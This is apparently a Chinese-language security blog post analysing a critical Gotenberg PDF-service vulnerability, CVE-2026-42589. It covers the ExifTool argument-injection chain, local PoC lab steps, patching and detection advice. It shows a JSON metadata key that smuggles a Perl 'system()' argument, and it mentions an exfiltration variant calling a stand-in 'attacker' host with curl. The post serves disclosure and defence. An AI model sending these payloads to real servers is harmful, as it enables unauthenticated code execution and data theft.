一条 HTTP 请求就能 RCE,你部署的 PDF 转换服务可能正在裸奔

导语:@0xManan 周末丢出一条价值 CVSS 9.8 的 RCE——Docker PDF 转换服务 Gotenberg(很多技术栈”安静地”依赖它做发票/合同转 PDF)≤ 8.30.1 的 /forms/pdfengines/metadata/write 端点未鉴权,把用户控制的 JSON metadata key 直接转给 ExifTool。攻击者在 key 里塞换行符切断 ExifTool 的 stdin,再走私一个 -if system('…')||1 参数触发 Perl eval。一条 HTTP 请求搞定 RCE,响应是干净的 200 + 合法 PDF,你的监控只看到”一次成功转换”。


一、漏洞概况

项目内容
CVE 编号CVE-2026-42589(同一利用链的姐妹 CVE:CVE-2026-40281,CVSS 10.0)
CVSS 评分9.8(Critical)
漏洞类型CWE-78 命令注入 / CWE-77 参数注入
影响产品Gotenberg(Docker PDF/HTML 转换 API)
影响版本≤ 8.30.1(8.30.1 修复不彻底,仍可绕过)
修复版本8.31.0
攻击前提无需鉴权,单条 HTTP 请求
攻击后果以容器用户身份执行任意命令

Gotenberg 在很多技术栈里默默存在——Paperless-ngx、Nextcloud、Documenso、企业内部文档流水线都直接调用它的 HTTP API 做格式转换。它一旦暴露在公网或被内网穿透,攻击面直接顶到 RCE。


二、攻击链解析

完整利用链只分四步:

Step 1:未鉴权访问 metadata 写入端点

Gotenberg 的 POST /forms/pdfengines/metadata/write 端点允许任何调用方传一个 PDF 文件 + 一个 metadata JSON 对象,把 metadata 写到 PDF 里。这个端点没有鉴权要求,正常业务里大量调用。

Step 2:在 JSON metadata key 里塞 n

Gotenberg 把用户提交的 metadata JSON 直接转给 ExifTool 作为命令行参数。ExifTool 用 Perl 写的命令行工具,它的 stdin/参数处理逻辑里没有拒绝控制字符。攻击者构造这样的 JSON:

{"Titlen-ifnsystem('sleep 6')||1n-Comment":"x"}

JSON 解析器把 n 当作换行字符面值;ExifTool 拿到的命令行实际被切成多段:

exiftool -Title
-if
system('sleep 6')||1
-Comment=x input.pdf

Step 3:Perl eval 触发 RCE

ExifTool 把 -if 后面的字符串丢给 Perl 解释器,Perl 立即执行 system('sleep 6'),命令以Gotenberg 容器进程用户身份跑出来——根据 Gotenberg 8.x 默认配置,这通常是 root(Group 0)。

Step 4:响应伪装

nuclei 模板验证时用 sleep 6 让响应延迟触发——6 秒后 Gotenberg 返回 HTTP 500(内部错误但已执行命令)。如果换成 curl http://attacker/exfil?... 之类的命令,HTTP 响应反而是 200 + 合法 PDF(命令异步执行不阻塞),监控日志只看到”一次成功转换”。

Gotenberg CVE-2026-42589 利用流程图

三、PoC 复现

安全研究员 fineman999 在 GitHub 开源了完整 PoC 实验室——本地用 Docker Compose 起 Gotenberg 8.29.1(含漏洞版本)和 8.31.0(修复版本),跑 nuclei 模板做对比验证。仓库结构:

POC_CVE-2026-42589/
├── docker-compose.yml          # 起 8.29.1(漏洞版)
├── docker-compose.latest.yml   # 起 8.31.0(修复版)
├── CVE-2026-42589.yaml         # nuclei 模板
├── manual_verify.py            # Python 手动验证脚本
├── sample.pdf                  # 内置测试 PDF
└── README.md

复现步骤(本地 lab):

# 1. clone 仓库
git clone https://github.com/fineman999/POC_CVE-2026-42589
cd POC_CVE-2026-42589

# 2. 起漏洞版 Gotenberg
docker compose up -d

# 3. 验证版本
curl -s http://127.0.0.1:3000/version
# 期望输出:8.29.1

# 4. 跑 nuclei 模板
nuclei -duc -u http://127.0.0.1:3000 -t CVE-2026-42589.yaml
# 漏洞版:match after 6s delay → 命中
# 修复版:no match → 立即拒绝

PoC 故意用 sleep 6 而不是反弹 shell,避免任何破坏性副作用——只验证时序差异,确认利用链可重现。


四、修复方案

立即修复(Gotenberg 侧):

  • 升级到 8.31.0 或更高版本
  • 升级前临时缓解:在 Gotenberg 前加 API 网关或 reverse proxy 做鉴权(API_KEY),拦截未授权调用
  • 临时缓解:删除 metadata/write 端点的暴露,或限制只允许内部网络访问

侧修复(调用方侧):

  • 检查你的应用代码里有没有直接以 http://gotenberg:3000/forms/pdfengines/metadata/write 形式访问的硬编码——给它套一层内部 API 鉴权
  • 监控日志里过滤 exiftool 子进程异常派生(sh、perl、curl、wget)的告警

架构层建议:

  • PDF 元数据写入不应该走 ExifTool 命令行——用 ExifTool 的 Perl 模块 API(避开命令行参数解析),或换 PDF-Tools/PyPDF 这种内存操作库
  • 所有容器化的”工具栈”服务(PDF、图像、视频、文档转换)默认要鉴权,不能假设它们只在内部网络

五、检测建议

按 @vuln_tracker 在推文回复里给的蓝队视角:

  • 进程行为告警——Gotenberg 容器内 exiftool 进程派生 sh、perl、curl、wget、bash 等子进程 → 立即告警
  • 进程组检查——Gotenberg 默认以 Group 0 (root) 跑,监控这个进程组能写到哪些敏感路径(/etc/shadow、/proc/self/...、容器挂载点)
  • 网络出口——容器内异常向外网发起 HTTP/TCP 连接,典型反连场景
  • API 入口限速——同一 IP 短时间内反复调 /forms/pdfengines/metadata/write,可能是探测或攻击

六、思考题

  1. 8.30.1 修复”只 sanitized keys”,而 40281 通过 metadata values 同样能 RCE——为什么 metadata key 和 metadata value 的处理不能复用同一套 sanitization 逻辑?ExifTool 在两种位置处理上有差异吗?
  2. nuclei 模板用 sleep 6 检测而非反弹 shell,这种 oastless(无带外)检测的优势和盲区是什么?
  3. Gotenberg 默认以 root 在容器里跑,给”PDF 转换”这类工具容器 root 权限合理吗?容器化的工具栈应该如何做权限隔离?

七、附录:PoC 与参考资料

按用户要求本节提供完整下载/参考入口,clone 后按 README 指引本地复现:

资源地址
PoC 仓库(主)https://github.com/fineman999/POC_CVE-2026-42589
GitHub 官方 Advisoryhttps://github.com/gotenberg/gotenberg/security/advisories/GHSA-rqgh-gxv4-6657
Gotenberg 8.31.0 Releasehttps://github.com/gotenberg/gotenberg/releases/tag/v8.31.0
ExifTool 官方文档https://exiftool.org/exiftool_pod.html
原始推文(@0xManan)https://x.com/0xManan/status/2107741652102312302
蓝队回复(@vuln_tracker)https://x.com/vuln_tracker/status/2107774179021873553

复现命令速查:

git clone https://github.com/fineman999/POC_CVE-2026-42589
cd POC_CVE-2026-42589
docker compose up -d           # 起漏洞版 8.29.1
curl -s http://127.0.0.1:3000/version   # 验证版本
nuclei -duc -u http://127.0.0.1:3000 -t CVE-2026-42589.yaml

如需对比修复版,切到 docker-compose.latest.yml 跑同一套 nuclei。

© 版权声明
THE END
喜欢就支持一下吧
点赞13 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容